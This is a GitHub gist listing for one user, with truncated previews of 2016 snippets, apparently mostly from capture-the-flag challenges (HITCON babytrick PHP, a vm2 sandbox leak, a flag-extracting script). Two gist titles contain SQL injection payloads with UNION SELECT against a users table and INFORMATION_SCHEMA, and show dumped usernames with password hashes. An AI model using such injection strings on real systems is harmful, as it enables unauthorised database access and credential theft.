Skip to content

Instantly share code, notes, and snippets.

View pawlos's full-sized avatar
🐛

Paweł Łukasik pawlos

🐛
81 followers · 75 following
View GitHub Profile
@pawlos
pawlos / protobuf.log
Last active August 22, 2016 15:55
python.exe setup_protobuf.py
Protobuf check is OK
@pawlos
pawlos / warden.cs
Last active September 25, 2016 16:58
warden-example
using System.Threading.Tasks;
using Warden;
using Warden.Core;
using Warden.Watchers.Disk;
using Warden.Watchers.Process;
namespace KidsTravel.Monitoring
{
class Program
{
@pawlos
pawlos / leaking.js
Created October 11, 2016 20:53
"use strict";
var randomstring = require("randomstring");
var express = require("express");
var {VM} = require("vm2");
var fs = require("fs");
var app = express();
var flag = require("./config.js").flag
@pawlos
pawlos / babytrick.php
Created October 11, 2016 21:13
<?php
include "config.php";
class HITCON{
private $method;
private $args;
private $conn;
public function __construct($method, $args) {
@pawlos
pawlos / unpack.script
Created October 22, 2016 12:23
Unpack script for peepdf
stream 6 > 6.pdf
@pawlos
pawlos / unpack.sh
Created October 22, 2016 12:27
Bash unpacking script
#!/bin/sh
for i in {1..10000}
do
echo "Run $i"
peepdf_0.3/peepdf.py -s unpack.script simple.pdf
if [ $? -eq 0 ]
then
mv 6.pdf $i.pdf
cp $i.pdf simple.pdf
@pawlos
pawlos / server.rb
Created October 22, 2016 12:53
Cornelius1 server source code
require 'openssl'
require 'webrick'
require 'base64'
require 'json'
require 'zlib'
require 'pry'
def encrypt(data)
cipher = OpenSSL::Cipher::AES.new(128, :CTR)
cipher.encrypt
@pawlos
pawlos / decode.py
Created October 22, 2016 13:05
Python script to extract char of the flag
import base64
import string
from urllib2 import Request, build_opener, HTTPCookieProcessor, HTTPHandler, quote
import cookielib
cj = cookielib.CookieJar()
opener = build_opener(HTTPCookieProcessor(cj), HTTPHandler())
for char in xrange(0x20, 0x7f):
@pawlos
pawlos / users.sql
Last active October 28, 2016 19:47
users table content - rosa_meltroso'/**/union/**/select/**/username,password/**/from/**/users#
1 ferchu_papijas 17c4520f6cfd1ab53d8745e84681eb49
2 el_peluca 5eb63bbbe01eeed093cb22bb8f5acdc3
3 grandfather_fataku 8cbf64e506adb380e4938ee18c1def03
4 henry_el_traba 200ceb26807d6bf99fd6f4f0d1ca54d4
5 ana_lisa_melchotto b5c0b187fe309af0f4d35982fd961d7e
6 rosa_meltroso 33ee7e1eb504b6619c1b445ca1442c21
7 mj_sex_machine 5f4dcc3b5aa765d61d8327deb882cf99
@pawlos
pawlos / INFORMATION_SCHEMA.COLUMNS
Last active October 28, 2016 19:48
All the columns in all the tables - rosa_meltroso'/**/union/**/SELECT/**/table_name,COLUMN_NAME/**/FROM/**/INFORMATION_SCHEMA.COLUMNS#
CHARACTER_SETS CHARACTER_SET_NAME
CHARACTER_SETS DEFAULT_COLLATE_NAME
CHARACTER_SETS DESCRIPTION
CHARACTER_SETS MAXLEN
COLLATIONS COLLATION_NAME
COLLATIONS CHARACTER_SET_NAME
COLLATIONS ID
COLLATIONS IS_DEFAULT
COLLATIONS IS_COMPILED
COLLATIONS SORTLEN